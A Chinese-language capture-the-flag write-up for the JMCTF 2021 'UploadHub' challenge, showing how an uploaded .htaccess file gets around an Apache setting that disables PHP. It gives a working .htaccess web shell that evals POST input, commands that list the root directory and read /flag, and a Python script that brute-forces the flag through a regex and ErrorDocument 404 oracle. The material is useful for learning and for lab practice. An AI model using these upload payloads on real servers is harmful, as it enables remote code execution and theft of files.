[JMCTF 2021]UploadHub

主要看apache2.conf配置文件:

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

php_flag engine off是会使整个目录不解析php的,所以上传php文件是行不通的

这题主要在配置上给我们限制了很多,而.htaccess就是可以修改配置的一个文件,恰好此题是可以上传.htaccess的(此题似乎并不做上传限制)

方法一

.htaccess文件内容:

<FilesMatch .htaccess>
SetHandler application/x-httpd-php 
Require all granted  
php_flag engine on	
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php eval($_POST['dmind']);?>
SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理 用法:
ForceType application/x-httpd-php
SetHandler application/x-httpd-php

那么这里就是将.htaccess文件解析为php

Require all granted  #允许所有请求
php_flag engine on   #开启PHP的解析
php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess的内容

[JMCTF 2021]UploadHub_第1张图片

[JMCTF 2021]UploadHub_第2张图片

dmind=var_dump(scandir("/"));

dmind=var_dump(file_get_contents("/flag"));

这样做似乎有点局限性就是隔一段时间就得重新上传.htaccess文件才能解析成功,原因我有点懵…当然可以不在注释中写一句话,而是直接写一些操作。

方法二:ErrorDocument 404

看Nu1l的解法感觉很强,居然是通过盲注!

还是传.htaccess文件,但内容却很不一样:

<If "file('/flag')=~ '/flag{/'">
ErrorDocument 404 "wupco"
</If>

~ :用于开启“正则表达式”分析,正则表达式必须在双引号之间。

如果匹配到就设置ErrorDocument 404为"wupco",那么访问一个不存在的页面时就会显示wupco这个字符串

脚本:

import requests
import string
import hashlib
ip = '74310c5695d734e667dc2250a05dcd29'//修改成自己的
print(ip)

def check(a):
    htaccess = '''
    <If "file('/flag')=~ /'''+a+'''/">
    ErrorDocument 404 "wupco6"
    </If>
    '''
    resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={
     'submit': 'submit'}, files={
     'file': ('.htaccess',htaccess)} )
    a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text

    if "wupco" not in a:
        return False
    else:
        print(a)
        return True
flag = "flag{"
check(flag)

c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
        if check(flag+i):
            flag = flag+i
            print(flag)
            break
        else:
            continue

你可能感兴趣的:(文件上传)